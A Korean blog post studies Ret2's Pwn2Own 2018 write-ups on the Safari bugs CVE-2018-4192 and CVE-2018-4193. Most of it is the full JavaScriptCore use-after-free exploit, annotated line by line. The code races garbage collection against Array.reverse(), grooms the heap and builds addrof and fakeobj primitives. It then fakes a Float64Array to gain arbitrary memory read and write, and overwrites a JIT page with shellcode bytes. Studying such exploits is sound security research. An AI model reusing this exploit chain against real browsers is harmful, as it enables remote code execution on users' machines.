Ret2 블로그에 흥미로운 글이 있어서 읽어봤다. Pwn2Own 2018에서 사용한 두 개 취약점 CVE-2018-4192, CVE-2018-4193에 대해 발견부터 익스플로잇까지 과정을 기술하고 있다. 아래 링크 1편부터 4편까지 webkit에서 발생한 USE-AFTER-FREE 취약점을 다루고 5편부터 6편까지 macOS WindowServer 취약점에 대해 설명하고 있다.
Webkit 소스를 열어보면서 각종 오브젝트의 구성, 오브젝트간 상속구조, butterfly 등 많은 내용을 학습할 수 있다.
1. A Methodical Approach to Browser Exploitation
2. Vulnerability Discovery Against Apple Safari
3. Timeless Debugging of Complex Software
4. Weaponization of a JavaScriptCore Vulnerability
5. Cracking the Walls of the Safari Sandbox
6. Exploiting the macOS WindowServer for root
CVE-2018-4192 patch:
https://github.com/WebKit/webkit/commit/4277697ef9384adea6f4c63ed1215a05990e85b4
CVE-2018-4192 exploit:
https://gist.github.com/itszn/5e6354ff7975e65e5867f3a660e23e05
익스플로잇도 읽어보자.
// Load Int library, thanks saelo! load('util.js'); load('int64.js'); // 메모리에서 읽은 8바이트를 저장하는 임시 저장소 var conva = new ArrayBuffer(8); var convf = new Float64Array(conva); var convi = new Uint32Array(conva); var convi8 = new Uint8Array(conva); // victim_arrays에서 사용하는 식별자, JSValue var floatarr_magic = new Int64('0x3131313131313131').asDouble(); // groom에서 사용하는 식별자, JSValue var jsval_magic = new Int64('0x3232323232323232').asDouble(); var structs = []; function log(x) { print(x); } // Look OOB for array we can use with JSValues // corrupted_arr는 길이가 변경된 groom[i] 이다. function findArrayOOB(corrupted_arr, groom) { log("Looking for JSValue array with OOB Float array"); for (let i = 0; i<corrupted_arr.length; i++) { convf[0] = corrupted_arr[i]; // Find the magic value we stored in the JSValue Array // 메모리를 탐색하면서 [ 10 00 00 00 ] [ don't care ] [ 0x32323232 ] 시퀀스를 찾는다. if (convi[0] == 0x10) { convf[0] = corrupted_arr[i+1]; if (convi[0] != 0x32323232) continue; // groom[n]을 찾았다면 값을 groom[n][0]을 0x3131313131313131로 변경한다. 원래는 0x3232323232323232였다. corrupted_arr[i+1] = new Int64('0x3131313131313131').asDouble(); // 이제 groom[n][0]가 jsval_magic(0x3131313131313131)인 n을 찾고 target이라고 하자. // corrupted_arr와 target을 이용하면 특정 객체의 주소를 얻고(addrof), 객체를 받환(fakeobj)받을 수 있다. let target = null; for (let j = 0; j < groom.length; j++) { if (groom[j][0] != jsval_magic) { target = groom[j]; break } } log("Found target array for addrof/fakeobj"); // This object will hold our primitives let prims = {}; // corrupted_arr와 target의 거리 let oob_ind = i+1; // Get the address of a given jsobject // currupted_arr[oob_ind] == target[0] // target[0] 주소를 얻고자하는 객체 prims.addrof = function(x) { target[0] = x; return Int64.fromDouble(corrupted_arr[oob_ind]); } // Return a jsobject at a given address // currupted_arr[oob_ind] == target[0] // target[0]에는 반환받을 객체 prims.fakeobj = function(addr) { corrupted_arr[oob_ind] = addr.asDouble(); return target[0]; } return prims; } } } // Here we will spray structure IDs for Float64Arrays // See http://www.phrack.org/papers/attacking_javascript_engines.html function sprayStructures() { function randomString() { return Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5); } // Spray arrays for structure id for (let i = 0; i < 0x1000; i++) { let a = new Float64Array(1); // Add a new property to create a new Structure instance. a[randomString()] = 1337; structs.push(a); } } // Here we will create our fake typed array and get arbitrary read/write // See http://www.phrack.org/papers/attacking_javascript_engines.html function getArb(prims) { sprayStructures() let utarget = new Uint8Array(0x10000); utarget[0] = 0x41; // fake Float64Array를 구성한다. // Structure id 필드는 런타임시에 결정되기 때문에 고정된 값을 넣을 수 없다. 따라서 게싱을 해야한다. // 적당히 0x200 정도로 찍고, 값을 올려가면서 찾는 전략을 쓴다. // [ Indexing type = 0 ][ m_type = 0x27 (float array) ][ m_flags = 0x18 (OverridesGetOwnPropertySlot) ][ m_cellState = 1 (NewWhite)] let jscell = new Int64('0x0118270000000200'); // fake Float64Array // a,b,c,d 속성은 메모리에서 8바이트씩 차지한다. // Each attribute will set 8 bytes of the fake object inline obj = { 'a': jscell.asDouble(), // Butterfly can be anything 'b': false, // Target we want to write to 'c': utarget, // Length and flags 'd': new Int64('0x0001000000000010').asDouble() }; // addrof 함수로 obj의 주소를 얻는다. let objAddr = prims.addrof(obj).add(16); log("Obj addr + 16 = "+objAddr); // fakeof 함수로 위에서 obj주소 +16 위치에 있는 fakearaay를 객체로 얻는다. let fakearray = prims.fakeobj(objAddr); // Structure id를 0x200으로 찍었는데 그게 맞을리가 없다. // 0x201, 0x202, ... 순차적으로 올려가면서 Float64Array의 Structure id를 가질때까지 반복한다. while(!(fakearray instanceof Float64Array)) { jscell.add(1); obj['a'] = jscell.asDouble(); } // 찾았다. log("Matched structure id!"); // 특정 주소에 데이터를 연속으로 쓴다(write) // fakearray[2]로 utarget의 ArrayBuffer 주소를 addr로 세팅한다. // 이제 utarget[0]를 읽으면 addr 주소에 있는 8바이트를 읽을 수 있다. prims.set = function(addr, arr) { fakearray[2] = addr.asDouble(); utarget.set(arr); } // 임의 주소에서 8바이틀 읽는다. prims.read64 = function(addr) { fakearray[2] = addr.asDouble(); let bytes = Array(8); for (let i=0; i<8; i++) { bytes[i] = utarget[i]; } return new Int64(bytes); } // 임의 주소에 8바이트를 쓴다. prims.write64 = function(addr, value) { fakearray[2] = addr.asDouble(); utarget.set(value.bytes); } } // RWX 속성을 가지는 JIT 메모리 영역을 찾고 쉘코드 0xCC(int 3)를 덮어쓴다. function exploit(corrupted_arr, groom) { save.push(groom); save.push(corrupted_arr); // Create fakeobj and addrof primitives let prims = findArrayOOB(corrupted_arr, groom); // Upgrade to arb read/write from OOB read/write getArb(prims); // Build an arbitrary JIT function // This was basically just random junk to make the JIT function larger let jit = function(x) { var j = []; j[0] = 0x6323634; return x*5 + x - x*x /0x2342513426 +(x - x+0x85720642 *(x +3 -x / x+0x41424344)/0x41424344)+j[0]; }; // Make sure the JIT function has been compiled jit(); jit(); jit(); // Traverse the JSFunction object to retrieve a non-poisoned pointer log("Finding jitpage"); let jitaddr = prims.read64( prims.read64( prims.read64( prims.read64( prims.addrof(jit).add(3*8) ).add(3*8) ).add(3*8) ).add(5*8) ); log("Jit page addr = "+jitaddr); // Overwrite the JIT code with our INT3s log("Writting shellcode over jit page"); prims.set(jitaddr.add(32), [0xcc, 0xcc, 0xcc, 0xcc]); // Call the JIT function, triggering our INT3s log("Calling jit function"); jit(); throw("JIT returned"); } function setLen(uaf_arr, ind) { // ind 변수는 사용되지 않는다. // uar_arr 배열로 메모리를 탐색하면서- // [ 0x00000010(publicLength) ] [ 0x--------(vectorLength) ] [ 0x3232323232323232 ] 발견하면 // [ 0x42424242(publicLength) ] [ 0x42424242(vectorLength) ] [ 0x3232323232323232 ] 로 앞에 8바이트를 변경한다. // groom[index].length를 0x10에서 0x42424242로 변경하는 것이다. let f=0; for (let i=0; i<uaf_arr.length; i++) { convf[0] = uaf_arr[i]; // Look for a new float array, and set the length if (convi[0] == 0x10) { convf[0] = uaf_arr[i+1]; if (convi[0] == 0x32323232 && convi[1] == 0x32323232) { convi[0] = 0x42424242; convi[1] = 0x42424242; uaf_arr[i] = convf[0]; return; } } } throw("Could not find anouther array to corrupt"); } let oob_rw_unstable = null; let oob_rw_unstable_ind = null; let oob_rw_stable = null; // After this point we would stop seeing GCs happen enough to race :( const limit = 10; const butterfly_size = 32 let save = [0, 0] for(let at = 0; at < limit; at++) { log("Trying to race GC and array.reverse() Attempt #"+(at+1)); let victim_arrays = new Array(2048); let groom = new Array(2048); for (let i=0; i < victim_arrays.length; i++) { victim_arrays[i] = new Array(butterfly_size).fill(floatarr_magic) groom[i] = new Array(butterfly_size/2).fill(jsval_magic) } // victim_arrays = [ [0x3131313131313131 * 32], ... ] // groom = [ [0x3232323232323232 * 16], ... ] // victim_arrays = JSArray // victim_arrays[0] = JSArray // victim_arrays[0][0] = JSValue let vv = []; let v = [] // victim_arrays.reverse()와 "BBBB...BBBB" 문자열 생성을 동시에 진행한다. // Array.reverse() 호출할 때 GC가 개입되어야 한다. // i로 506을 선택한건 임의로 선택한 것이다. j를 0x44까지 카운트해서 속도 지연 발생. // 결과적으로 victim_arrays.reverse()는 506번 실행된다. for (let i = 0; i < 506; i++) { for(let j = 0; j < 0x100; j++) { // trigger! // victim_arrays[n]의 butterfly가 해제되고 그 자리에 "BBBB...BBBB"가 채워진다. if (j == 0x44) { v.push(new String("B").repeat(0x10000*save.length/2)) } victim_arrays.reverse() } } /* 반복문을 마치면 victim_arrays[n]의 butterfly 메모리가 해제되고 그 자리에 "BBBB...BBBB"가 채워졌을 것이다. v.length는 506이다. C++코드로 설명하면, - free(victim_arrays[n].butterfly()); - memcpy(victim_arrays[n].butterfly(), "BBBB...BBB", length); - JSString.m_value인 "BBBB...BBBB"가 채워졌을 것이다. before) victim_arrays[n].butterfly() | +-----------------------------------------+ | v +---------------------------------------------------------------------------------------------+ | 0x20(publicLength) | some_value(vectorLength) | 0x3131313131313131 | 0x3131313131313131 ... | +---------------------------------------------------------------------------------------------+ after) v.butterfly() | +------------------------------------------+ | v +---------------------------------------------------------------------------------------------+ | 506(publicLength) | some_value(vectorLength) | JSString* | JSString* | ... | +---------------------------------------------------------------------------------------------+ ^ | +--- victim_arrays[n].butterfly() (!!!) victim_arrays[n].length는 32였지만 UAF에 의해 506으로 늘어난 n이 있을 것이다. */ for (let i = 0; i < victim_arrays.length; i++) { // 원래 victim_arrays[i].length는 모두 32였다. // trigger에 의해 length가 506으로 늘어난 i을 찾아서 victim_arrays[i][0~505]를 0x4141414141414141로 변경한다. // 2261634.5098039214 == 0x4141414141414141 // victim_arrays[n].length를 506에서 0x41414141로 확장하기 위함이다. if(victim_arrays[i].length == 506) { victim_arrays[i].fill(2261634.5098039214) } // victim_array[i].length가 0x41414114인 녀석을 찾는다. // 찾은 victim_arrays[i]는 oob_rw_unstable이라고 하자. // unstable OOB r/w 라고 한다. if(victim_arrays[i].length == 0x41414141) { oob_rw_unstable = victim_arrays[i]; oob_rw_unstable_ind = i; break; } } // 지금은 victim_arrays[index]의 butterfly와 v의 butterfly가 같은 메모리를 공유하는 상태다. // 좀 더 안정적인 상황으로 끌어가기 위해 victim_arrays와 v가 아닌 groom을 활용하기로 하자. if(oob_rw_unstable) { // oob_rw_unstable(victim_arrays[i])의 길이가 32에서 0x41414141로 변경됐으니 OOB-READ가 가능한 상황이다. // oob_rw_unstable를 통해 groom[index].length를 0x42424242로 변경한다. setLen(oob_rw_unstable, oob_rw_unstable_ind) // groom 요소중에서 길이가 0x42424242인 groom[i]를 찾는다. // 자 이제 우리는 OOB primitive를 victim_array에서 groom으로 옮겨왔다. // groom 배열에서 length가 0x42424242인 요소를 찾는다. for (let i = 0; i < groom.length; i++) { if(groom[i].length == 0x42424242) { oob_rw_stable = groom[i]; break; } } if (!oob_rw_stable) { throw("Groom seems to have failed :("); } } // chew CPU to avoid a segfault and help with gc schedule for (let i = 0; i < 0x100000; i++) { } // Attempt to clean up some let f = [] for (let i = 0; i < 0x2000; i++) { f.push(new Array(16).fill(2261634.6098039214)) // 0x4141414141414141 } save.push(victim_arrays) save.push(v) save.push(f) save.push(groom) if (oob_rw_stable) { log("Found stable corrupted butterfly! Now the fun begins..."); exploit(oob_rw_stable, groom); break; } } throw("Failed to find any UAF'ed butterflies"); | cs |